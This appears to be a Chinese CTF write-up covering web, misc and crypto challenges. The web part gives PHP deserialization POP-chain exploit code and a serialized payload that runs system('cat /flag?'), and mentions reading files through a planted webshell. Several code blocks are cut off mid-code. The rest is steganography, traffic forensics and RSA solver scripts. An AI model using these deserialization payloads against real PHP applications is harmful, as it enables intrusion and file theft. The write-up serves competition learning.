目录
Web:
rce_me:
step_by_step-v3:
Safepop:
MISC:
where_is_secret:
迷失幻境:
签个到:
躲猫猫:
寻宝-Fix
CRYPTO:
LRSA:
EasyRsa:
(应该为非预期)
扫描发现存在1.php,为shell文件,蚁剑连上。
然后利用date –fflag读取flag。
Flag为:flag{31240024220504177118549238509448}
简单的反序列化,本来一直在想绕过include_once,但好像不行,最后发现了在yang->__rostring可以直接打phpinfo。
Exp:
c1=$c;
$c->b1=$a;
$a->y1='phpinfo';
echo serialize($b);
Flag为:flag{41398210650048416729033631022641}
简单的Pop链子。
Exp:
func,$f,$p);
}
}
class Test{
public function getFlag(){
system("cat /flag?");
}
public function __call($f,$p){
phpinfo();
}
}
class A{
public $a;
public function __get($p){
print(get_class($this->a));
if(preg_match("/Test/",get_class($this->a))){
return "No test in Prod\n";
}
return $this->a->$p();
}
}
class B{
public $p;
public function __destruct(){
$p = $this->p;
echo $this->a->$p;
}
}
$a = new Fun();
$c = new A();
$c->a = $a;
$b = new B();
$b->a = $c;
$b->p = '';
echo serialize($b);
绕一下wakeup然后再绕一下属性。
payload:
?pop=O:1:"B":3:{s:1:"p";s:0:"";s:1:"a";O:1:"A":1:{s:1:"a";O:3:"Fun":1:{s:9:"%00Fun%00func";s:13:"Test::getFlag";}}}
发现picture.zip存在密码,猜测密码再vig中。
维吉尼亚解密一下,网址Vigenere Solver - www.guballa.de
得到密码为:GWHT@R1nd0yyds
解开后发现是一个bmp图片,后来给出了hint,给的是加密bmp的脚本,反向写一下即可。
Exp:
from PIL import Image
import numpy as np
def feng(num):
return ('\\u{:0>4}'.format(num)).encode().decode('unicode_escape')
with open("flag.txt", mode="wb") as flag:
a = Image.open("out.bmp")
b = np.array(a)
w = h = b.shape[0]
p = []
for i in range(w):
for j in range(h):
date = b[i,j,:]
d = feng(str(hex(date[1])).replace('0x','').rjust(2, '0') +str(hex(date[2])).replace('0x','').rjust(2, '0'))
p.append(d)
for d in p:
flag.write(d.encode())
打开后发现:
超越后边应该存在flag。
删掉所有括号包裹的字符串, 最后删掉无关字符,得flag
flag为:flag{ h1d3_1n_th3_p1ctur3}
Vmdk文件是虚拟机VMware创建的虚拟硬盘格式,使用工具DAEMON Tools Lite挂载附件
得到如下:一堆环境照片,还有一张哒哒哒的图片与其他不同
一个个看过之后没有什么发现,然后就在回收站中发现了两张被删除的照片
修复了一下少文件头的照片之后,使用stegsolve工具对比一下未被删除的照片,出来一个key:可莉前来报道
Outguess解密另一张可莉可莉.jpg:(重命名该图片2.jpg)
命令:outguess -r 2.jpg -k "可莉前来报道" flag.txt
在桌面出现flag.txt文件
Cat得到:DASCTF{f473a6fd2de17a0c5794414b3905ebbe}
提交:f473a6fd2de17a0c5794414b3905ebbe
先rot13解密。
然后再base32
Flag为:flag{bed381ea547749ee83f70798829408ee}
流量分析,在ftp中发现压缩包,导出一下,在linux解压一下,发现存在加密,找密码。
其中key.log没加密,猜测密码在其中,看内容是可以用它解密TLS流量,然后去找TLS流量。
解密TLS流量。
发现图片,删掉一部分可得到密码图片。
压缩包密码为:200279651941337428
在http发现PNG图片。
右键导出分组字节流,定为1.png,然后写脚本还原一下图片。
Exp:
from PIL import Image
from numpy import array, zeros, uint8
import os
import cv2
png = cv2.imread("1.png")
pngarray = array(png)
x1,y1 = 1800,1800
x,y = 5999540678407978169965856946811257903979429787575580150595711549672916183293763090704344230372835328,6310149030391323406342737832910952782997118359318834776480172449836047279615976753524231989362688
a = round(x/y*0.001, 16)
f1 = y*3650/x
b = round(x/y*0.00101, 16)
f2 = y*3675/x
c = round(x/y*0.00102, 16)
f3 = y*3680/x
kt = [a, b, c]
temp_image = zeros(shape=[x1, y1, 3], dtype=uint8)
for i in range(0, 1):
for j in range(0, x1):
for k in range(0, y1):
a = f1 * a * (1 - a)
b = f2 * b * (1 - b)
c = f3 * c * (1 - c)
r1 = int(a * 255)
r2 = int(b * 255)
r3 = int(c * 255)
for t in range(0, 3):
temp_image[j][k][t] = (pngarray[j][k][t] - ((r1 + r2) ^ r3)) % 256
a = kt[0]
b = kt[1]
c = kt[2]
flag = Image.fromarray(temp_image)
flag.show()
flag.save("feng.png")
得到特殊二维码图片。
Ps把中间的猫扣成二维码中的圈,然后扫一下即可。
Flag为:GWHT{ozqgVLoI1DvK8giNVdvGslr_aZKKwNuv_q-FzqB5N3hHHqn3}
Hex值个位十位调换,然后解压一下。
发现存在flag.zip,但有密码。
另外有一个寻宝游戏,利用ce修改生命值,然后闯关,提示闯关图为关键。
二十张地图:
前四张为猪圈密码,然后后边为曼彻斯特编码对应二进制数据为01011111 01100001 00110001 01011111
最后一本分为钢琴,琴键对应数字,对应的数字为114514
得到密码为nqnl_a1_114514,最后发现猪圈密码不对,直接爆破出来了。
最后密码为OWOH_a1_114514
打开文件明显发现flag被隐藏起来了,想到了零宽度字符隐写,然后在线解密一下就好。
Flag为:GWHT{Wher3_1S_Th4_1gI981O?}
打开后发现output.txt中数据得到的脚本。
先求出p和q。
然后再解t=(pP-58P+q)%Q
得到p,q为:
p=80736411146583842306585010871034886981016840349026602734742256246556342668178774083233822097872779308174897649383396380481655663281333047577768952571915605685701400990749928642136680236367785948214890529631428970999122918591632651324318444462622996015719163492064450044087392474349767300242266723293755137205+58
q=71239161441539946834999944364158306978517617517717217001776063773301330324729178632534286023377366747004115034635139042058644768011502688969022553791977558750633767627495955645170437100983708648876951588485253787441732757259210010467734037546118780321368088487269039555130213851691659851510403573663333586407+44
然后逆写脚本直接得到flag。
from gmpy2 import *
from Crypto.Util.number import *
e=65537
p=80736411146583842306585010871034886981016840349026602734742256246556342668178774083233822097872779308174897649383396380481655663281333047577768952571915605685701400990749928642136680236367785948214890529631428970999122918591632651324318444462622996015719163492064450044087392474349767300242266723293755137205+58
q=71239161441539946834999944364158306978517617517717217001776063773301330324729178632534286023377366747004115034635139042058644768011502688969022553791977558750633767627495955645170437100983708648876951588485253787441732757259210010467734037546118780321368088487269039555130213851691659851510403573663333586407+44
c=4364802217291010807437827526073499188746160856656033054696031258814848127341094853323797303333741617649819892633013549917144139975939225893749114460910089509552261297408649636515368831194227006310835137628421405558641056278574098849091436284763725120659865442243245486345692476515256604820175726649516152356765363753262839864657243662645981385763738120585801720865252694204286145009527172990713740098977714337038793323846801300955225503801654258983911473974238212956519721447805792992654110642511482243273775873164502478594971816554268730722314333969932527553109979814408613177186842539860073028659812891580301154746
x=invert(e,(p-1)*(q-1))
flag=pow(c,x,p*q)
print(long_to_bytes(flag))
得到flag,为:DASCTF{8f3djoj9wedj2_dkc903cwckckdk}
简单的rsa。
在给的task.py中发现c和e。
对outout.txt中的数据逆解一下。
from gmpy2 import *
from Crypto.Util.number import *
flag = open("output.txt", "r")
a = flag.readlines()
flag.close()
e = 65537
c=38127524839835864306737280818907796566475979451567460500065967565655632622992572530918601432256137666695102199970580936307755091109351218835095309766358063857260088937006810056236871014903809290530667071255731805071115169201705265663551734892827553733293929057918850738362888383312352624299108382366714432727
for i in range(11,0,-1):
P=gcd(int(a[i]),int(a[i-1]))
Q=int(a[i])//P
d=invert(e,(P-1)*(Q-1))
x=pow(c,d,int(a[i]))
c=x
P=gcd(int(a[1]),int(a[0]))
Q=int(a[0])//P
d=invert(e,(P-1)*(Q-1))
x=pow(c,d,int(a[0]))
print(long_to_bytes(x))
Flag为:GWHT{gixkJl7SJTcpLOL9zqwo}